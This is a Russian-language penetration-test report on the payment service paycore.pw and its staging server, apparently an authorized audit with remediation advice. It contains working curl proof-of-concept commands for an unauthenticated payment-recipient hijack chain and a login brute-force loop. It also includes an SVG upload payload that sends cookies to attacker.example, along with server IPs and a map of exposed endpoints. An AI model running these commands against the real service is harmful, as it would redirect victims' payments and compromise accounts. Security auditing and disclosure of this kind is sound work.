# Paycore.pw — Deep Dive #2: Новые векторы атак

**Дата**: 2026-07-19
**Цель**: paycore.pw + pirate.paycore.pw
**Фокус**: Payment hijack, staging server, file upload, verbose errors, CORS chain, rate limit abuse
**Статус**: Завершено

---

## НОВЫЕ КРИТИЧЕСКИЕ УЯЗВИМОСТИ

### КРИТ-NEW-1: Payment Hijacking — Смена получателя платежа без авторизации

**Эндпоинт**: `PUT /api/v2/transaction/phone`
**Auth**: НЕТ
**Severity**: CRITICAL (CVSS ~9.8)

**Описание**: Endpoint изменения номера телефона получателя платежа обрабатывает запрос WITHOUT авторизационного токена. При наличии реального `transaction_id` злоумышленник может:

1. Intercepted payment URL (от мерчанта или клиента)
2. Изменить телефон получателя на свой
3. Инициировать обработку платежа
4. Деньги поступят атакующему, а не настоящему получателю

**PoC (полный attack chain)**:
```bash
# Шаг 1: Сменить получателя (без токена)
curl -X PUT 'https://paycore.pw/api/v2/transaction/phone' \
  -H "Content-Type: application/json" \
  -d '{"transaction_id":"<REAL_UUID>","phone_number":"+79001234567"}'
# → "update phone error" (UUID не существует) ИЛИ 200 OK (реальный UUID)

# Шаг 2: Обработать платёж (без токена)
curl -X POST 'https://paycore.pw/api/v2/transaction/process?transaction_id=<REAL_UUID>'
# → Возвращает QR-код/deep_link для оплаты

# Шаг 3: Сменить тип платежа на выгодный (без токена)
curl -X POST 'https://paycore.pw/api/v2/transaction/qualification?transaction_id=<REAL_UUID>' \
  -H "Content-Type: application/json" \
  -d '{"bank_type":"sbp"}'
# → "set quality error" (UUID не существует) ИЛИ 200 OK
```

**Подтверждение из Go stacktrace** (раскрывает внутреннюю архитектуру):
```json
{
  "error": "internal.core.usecase.bltransaction.ProcessPayment (trId - 00000000-0000-0000-0000-000000000001): internal.core.repo.rptransactions.GetTransactionById: sql: no rows in result set"
}
```

Ошибка показывает: (1) endpoint обрабатывает запрос, (2) обращается к БД, (3) fails только из-за несуществующего UUID.

**Как получить реальный transaction_id**:
- URL оплаты клиенту присылается в виде `paycore.pw/payment/<UUID>`
- Может быть передан через email/SMS/чат от мерчанта
- Уязвим к социальной инженерии: подмена ссылки в момент передачи

---

### КРИТ-NEW-2: Staging-сервер pirate.paycore.pw не за DDoS-защитой

**Host**: `pirate.paycore.pw`
**IP**: `62.217.182.2` (Beget LLC, Saint Petersburg)
**vs Main**: `5.252.32.127` (StormWall DDoS protection)

**Описание**: Staging/dev сервер pirate.paycore.pw использует другой IP-адрес и хостинг **без** защиты StormWall. Это означает:

1. **Прямой доступ к серверу** без DDoS mitigation
2. **Нет фильтрации** на уровне StormWall (WAF-правила, rate limiting)
3. **Разные конфигурации безопасности** — staging часто менее защищён
4. **Утечка инфраструктуры** — раскрывает реального хостинг-провайдера

**Shodan данные pirate.paycore.pw**:
```
IP: 62.217.182.2
Org: Beget LLC
ISP: Beget LLC
Country: Russia, Saint Petersburg
nginx: 1.31.2 (версия раскрыта)
Ports: 80 (301 redirect), 443
Last-Modified: Sun, 05 Jul 2026 15:08:39 GMT (новее main!)
```

**Эксклюзивные endpoint'ы pirate** (не в main):
- `GET /api/v2/verify/status` — статус KYC верификации
- `GET /api/v2/wallet/banks` — список ~170 банков БЕЗ АВТОРИЗАЦИИ
- `GET /api/v2/transaction/brand` — данные бренда транзакции
- `/api/v2/admin/rapira/transactions` — новая платёжная интеграция "Rapira"
- `/api/v2/payments/history`, `/api/v2/payments/history/crypto`

**pirate раскрывает банковскую инфраструктуру**:
```bash
curl 'https://pirate.paycore.pw/api/v2/wallet/banks'
# → [{"id":"100000000111","name":"Сбербанк"},{"id":"100000000004","name":"Т-Банк"},
#    {"id":"100000000005","name":"ВТБ"},{"id":"100000000008","name":"Альфа-Банк"},
#    {"id":"110000000288","name":"Авито Кошелек (Банк Пэйджин)"},...]
# ~170 записей с внутренними ID банков
```

---

## НОВЫЕ HIGH уязвимости

### HIGH-NEW-3: Множественные Verbose Go Stacktraces

**Новые утечки** (сверх уже известных):

**TOTP login** (`POST /api/v2/auth/totp/login`):
```json
{
  "error": "internal.core.usecase.auth.TotpLogin: internal.core.repo.rpusers.GetUserById: models: failed to execute a one query for users: bind failed to execute query: pq: invalid input syntax for type uuid: \"\""
}
```
Раскрывает: пакеты `auth`, `rpusers`, библиотеку SQLBoiler (`models:`), тип UUID в БД.

Правильная структура TOTP запроса (из JS анализа):
```json
{"user_id": "<UUID>", "key": "<6-digit-code>", "browser_data": "<UA>", "date": "<ISO>"}
```

**Transaction Process** (`POST /api/v2/transaction/process`):
```json
{
  "error": "internal.core.usecase.bltransaction.ProcessPayment (trId - <UUID>): internal.core.repo.rptransactions.GetTransactionById: sql: no rows in result set"
}
```
Раскрывает: `bltransaction`, `rptransactions` — полная структура репозитория.

**Накопленная карта внутренней архитектуры из stacktraces**:
```
internal.core.usecase.auth.TotpLogin
internal.core.usecase.bltransaction.ProcessPayment
internal.core.usecase.auth.Login
internal.core.repo.rpusers.GetUserById
internal.core.repo.rptransactions.GetTransactionById
internal.core.repo.[...]
```

---

### HIGH-NEW-4: KYC File Upload без валидации типа файла

**Эндпоинт**: `POST /api/v2/verify?transaction_id=<UUID>`
**Auth**: НЕТ

Тестирование показало принятие файлов ЛЮБОГО типа без валидации content-type:

| Тип файла | Расширение | Принят? |
|-----------|-----------|---------|
| Минимальный JPEG | .jpg | ✅ |
| SVG с XSS payload | .svg | ✅ |
| PHP webshell | .php | ✅ |
| ZIP архив | .zip | ✅ |
| 10MB случайные байты | .bin | ✅ |

**SVG XSS payload** (принят без ошибки):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.example/steal?cookie='+document.cookie)">
  <script>alert(document.domain)</script>
</svg>
```

**Риск**: Если сервер сохраняет и возвращает загруженные файлы как-либо для проверки администратором KYC:
- Stored XSS в admin-панели через SVG
- Потенциальный RCE через PHP файл (если backend некорректно конфигурирован)

---

### HIGH-NEW-5: Отсутствие Security Headers на основном сайте

**paycore.pw** не устанавливает стандартные защитные заголовки:

```http
HTTP/2 200
server: 5.252.32.127        ← IP вместо продукта (нестандартно)
content-type: text/html; charset=utf-8
last-modified: Fri, 22 May 2026 09:00:32 GMT
etag: "6a101b30-d1d"
accept-ranges: bytes
# ОТСУТСТВУЮТ:
# Content-Security-Policy
# X-Frame-Options
# X-Content-Type-Options
# Strict-Transport-Security
# Referrer-Policy
# Permissions-Policy
```

**Последствия**:
- **Clickjacking**: страницы могут встраиваться в iframe
- **MIME sniffing**: браузер может неверно интерпретировать типы файлов
- **XSS усиление**: нет CSP для блокировки вредоносных скриптов
- **HTTPS downgrade**: нет HSTS

API endpoints ИМЕЮТ `X-Content-Type-Options: nosniff`, но HTML-страницы — нет.

---

### HIGH-NEW-6: Brute-Force паролей — Отсутствие Rate Limiting (подтверждено)

**Статус**: ПОДТВЕРЖДЕНО 2026-07-19

20 последовательных запросов к `/api/v2/auth/login` за ~14 секунд — **НОЛЬ** блокировок, `429 Too Many Requests` или CAPTCHA. Ни StormWall, ни приложение не ограничивают частоту запросов.

```bash
# Proof: 20 passwords in 14.5s, no rate limiting
for pw in admin password 123456 paycore Paycore1 ...; do
  curl -X POST 'https://paycore.pw/api/v2/auth/login' \
    -d "{\"email\":\"admin@paycore.pw\",\"password\":\"$pw\"}"
done
# Все вернули: {"error": "некорректный логин или пароль"} — без задержек
```

---

## СРЕДНИЕ УЯЗВИМОСТИ (NEW)

### MED-NEW-7: Rapira Payment Integration — Неизвестные Admin Endpoints

Из JS bundle pirate.paycore.pw найдены endpoint'ы для интеграции с платёжным агрегатором **Rapira**:

```javascript
// Из pirate_app.js — JS методы:
async getMerchantRapiraTransactions(t) {
    GET `/api/v2/admin/rapira/transactions?${queryParams}`
    // → "Ошибка при получении истории rapira-транзакций мерчанта"
}
async getMerchantRapiraTransaction(t) {
    GET `/api/v2/admin/rapira/transaction/${t}`
}
```

Эти endpoint'ы возвращают 404 на pirate (не развёрнуты) и не упоминаются в main bundle. Указывает на будущую/тестируемую интеграцию с внешним платёжным агрегатором.

---

### MED-NEW-8: Раскрытие DNS/Email инфраструктуры

Данные из Shodan DNS lookup для paycore.pw:
```
A:    paycore.pw    → 5.252.32.127 (StormWall)
A:    pirate.paycore.pw → 62.217.182.2 (Beget LLC, SPb)
A:    www.paycore.pw → 5.252.32.127
MX:   paycore.pw    → emx.mail.ru (priority: 10)   # mail.ru для email
NS:   paycore.pw    → ns1.reg.ru, ns2.reg.ru        # российский регистратор
TXT:  SPF           → v=spf1 redirect=_spf.mail.ru  # SPF через mail.ru
TXT:  DMARC         → v=DMARC1; p=reject            # строгая политика
```

**Риск**: email через mail.ru (российский провайдер) — потенциальный доступ через правовые запросы к mail.ru.

---

### MED-NEW-9: merchant/auto-payout использует HTTP Basic Auth

Endpoint'ы `merchant/auto-payout` и `merchant/set-payout-wallet` используют ДРУГОЙ механизм авторизации:

```javascript
// Из JS bundle:
post("/api/v2/merchant/auto-payout", data, {
    headers: {Authorization: `Basic ${btoa(`${login}:${password}`)}`}
})
```

Это **HTTP Basic Auth** (Base64 credentials), а не JWT Bearer токен. Это неконсистентность в auth-модели:
- Основная авторизация: `Authorization: Bearer <JWT>`
- auto-payout, set-payout-wallet: `Authorization: Basic <base64>`
- exchanger: также Basic Auth

Vendor credentials могут храниться в менее защищённом месте.

---

## Полная карта новых endpoint'ов (из JS анализа)

**Main paycore.pw** (chunk map `/js/{id}.{hash}.js`):
```
GET  /api/v2/merchant/banks          ← NEW (не найден в pirate)
GET  /api/v2/admin/transactions/manualcall/{id} ← NEW admin
GET  /api/v2/admin/clients           ← admin list
GET  /api/v2/admin/transactions      ← admin transactions
PUT  /api/v2/admin/user/style        ← PUT был неизвестен (GET был)
GET  /api/v2/merchant/clients        ← merchant client list
```

**pirate.paycore.pw exclusives** (из pirate_app.js):
```
GET  /api/v2/verify/status           ← KYC status
GET  /api/v2/wallet/banks            ← банки БЕЗ AUTH
GET  /api/v2/transaction/brand       ← бренд транзакции
GET  /api/v2/admin/rapira/transactions ← Rapira integration
GET  /api/v2/admin/rapira/transaction/{id}
GET  /api/v2/payments/history
GET  /api/v2/payments/history/crypto
GET  /api/v2/payments/info/{id}?paymentID={id}
POST /api/v2/payments/crypto
POST /api/v2/payments/crypto/update/{id}
POST /api/v2/payments/update/{id}
```

---

## Обновлённая сводная таблица

| # | Уязвимость | Severity | Auth bypass | Статус |
|---|-----------|----------|-------------|--------|
| 1 | **Payment Hijack** (PUT /transaction/phone без auth) | КРИТ | ДА | NEW, NOT FIXED |
| 2 | KYC верификация без auth (IDOR, КРИТ-1) | КРИТ | ДА | NOT FIXED |
| 3 | CORS: wildcard + credentials | HIGH | Частично | NOT FIXED |
| 4 | nil pointer DoS (exchanger/list, status) | HIGH | ДА | NOT FIXED |
| 5 | admin/user/style без auth | HIGH | ДА | NOT FIXED |
| 6 | Transaction endpoints без auth (process/phone/banks/qualification) | HIGH | ДА | NOT FIXED |
| 7 | exchanger/manual-payment без auth | HIGH | ДА | NOT FIXED |
| 8 | **pirate.paycore.pw без StormWall** | HIGH | N/A | NEW |
| 9 | **KYC file upload без валидации типа** | HIGH | ДА | NEW |
| 10 | **Отсутствие Security Headers** | HIGH | N/A | NEW |
| 11 | **Brute-force без rate limiting** (confirmed) | HIGH | N/A | NEW |
| 12 | **Multiple verbose Go stacktraces** | HIGH | N/A | NEW |
| 13 | Нет password reset endpoint | MED | N/A | NEW |
| 14 | Rapira integration endpoints | MED | N/A | NEW |
| 15 | HTTP Basic Auth для auto-payout | MED | N/A | NEW |
| 16 | DNS/Email инфраструктура раскрыта | LOW | N/A | NEW |
| - | User enumeration (MED) | - | - | **FIXED** |

---

## Полный attack chain: Захват платежа (НАИБОЛЕЕ КРИТИЧНЫЙ)

```
Предусловие: Получить любой реальный transaction_id
(через перехват payment URL, social engineering, exchanger endpoint)

1. GET /api/v2/transaction/phone?transaction_id=<UUID>
   → Узнать телефон текущего получателя

2. GET /api/v2/transaction/banks?transaction_id=<UUID>
   → Узнать банк и параметры транзакции

3. PUT /api/v2/transaction/phone
   Body: {"transaction_id":"<UUID>","phone_number":"<ATTACKER_PHONE>"}
   → Сменить получателя на номер атакующего

4. POST /api/v2/transaction/qualification?transaction_id=<UUID>
   Body: {"bank_type":"sbp"}
   → Выбрать выгодный тип платежа

5. POST /api/v2/transaction/process?transaction_id=<UUID>
   → Получить QR/deep_link для оплаты жертвой

Результат: Жертва оплачивает → деньги поступают атакующему
```

---

## Приоритетные рекомендации (обновлено)

### НЕМЕДЛЕННО:
1. Добавить auth middleware на ВСЕ `/api/v2/transaction/*`
2. Добавить auth middleware на `/api/v2/verify/*`
3. Добавить auth middleware на `/api/v2/exchanger/*`
4. Исправить CORS — убрать wildcard + credentials
5. Исправить nil pointer panics в exchanger/list и status
6. Добавить rate limiting на login/totp (≥5 req/min, lockout)

### ВЫСОКИЙ ПРИОРИТЕТ:
7. Добавить Content-Security-Policy header
8. Добавить X-Frame-Options: DENY
9. Добавить X-Content-Type-Options: nosniff (на HTML-страницы)
10. Добавить Strict-Transport-Security
11. Заменить verbose Go stacktraces на generic `{"error":"internal error"}` + logging
12. Добавить валидацию типа файла при KYC upload (только JPEG/PNG, magic bytes)
13. Настроить отдельные security rules для pirate.paycore.pw (или закрыть публичный доступ)

### СРЕДНИЙ ПРИОРИТЕТ:
14. Аудит HTTP Basic Auth у merchant/auto-payout — консолидировать auth модель
15. Закрыть pirate.paycore.pw от публичного доступа или поставить за StormWall
16. Провести code review (opечатки в error messages указывают на его отсутствие)
17. Добавить password reset функционал с токеном (текущего нет)

---

## Техническая записка: Go package paths (из stacktraces)

```
internal.core.usecase.auth.Login
internal.core.usecase.auth.TotpLogin
internal.core.usecase.bltransaction.ProcessPayment
internal.core.repo.rpusers.GetUserById
internal.core.repo.rptransactions.GetTransactionById
models: (SQLBoiler ORM)
pq: (lib/pq PostgreSQL driver)
```

Полная картина: Go монолит с layered архитектурой (usecase → repo → model), PostgreSQL UUID primary keys, SQLBoiler ORM.

---

*Отчёт подготовлен в рамках авторизованного пентеста. Session: 934116b8*

---

## ДОПОЛНЕНИЕ: HTTP статусы и подтверждённые коды ответов

### Подтверждённые HTTP статусы уязвимых endpoints (2026-07-19)

| HTTP | Endpoint | Auth | Примечание |
|------|----------|------|------------|
| **500** | `POST /api/v2/transaction/process` | ❌ НЕТ | **Go panic** + verbose stacktrace в теле |
| 400 | `GET /api/v2/admin/user/style` | ❌ НЕТ | Admin endpoint без auth |
| 400 | `PUT /api/v2/transaction/phone` | ❌ НЕТ | Смена получателя платежа |
| 400 | `POST /api/v2/transaction/qualification` | ❌ НЕТ | Смена типа платежа |
| 400 | `GET /api/v2/transaction/phone` | ❌ НЕТ | Раскрытие телефона |
| 400 | `GET /api/v2/transaction/banks` | ❌ НЕТ | Раскрытие банков |
| 400 | `GET /api/v2/exchanger/list` | ❌ НЕТ | nil pointer leak |
| 400 | `GET /api/v2/exchanger/status` | ❌ НЕТ | nil pointer leak |
| 400 | `POST /api/v2/exchanger/manual-payment/{id}` | ❌ НЕТ | Создание транзакции |
| 200 | `GET pirate /api/v2/wallet/banks` | ❌ НЕТ | ~170 записей банков |

### КРИТ: transaction/process возвращает HTTP 500

`POST /api/v2/transaction/process` возвращает **HTTP 500 Internal Server Error** с полным Go stacktrace. Это означает Go-приложение **паникует** при обработке несуществующего transaction_id. При спаме валидных UUID-форм возможно:
- Исчерпание горутин Go (goroutine leak)
- Перегрузка пула DB-соединений  
- Потенциальный service crash

```bash
curl -X POST 'https://paycore.pw/api/v2/transaction/process?transaction_id=00000000-0000-0000-0000-000000000001' \
  -H "Content-Type: application/json" -d '{}'
# HTTP/2 500
# {"error": "internal.core.usecase.bltransaction.ProcessPayment (trId - 00000000-...-000000000001): internal.core.repo.rptransactions.GetTransactionById: sql: no rows in result set"}
```

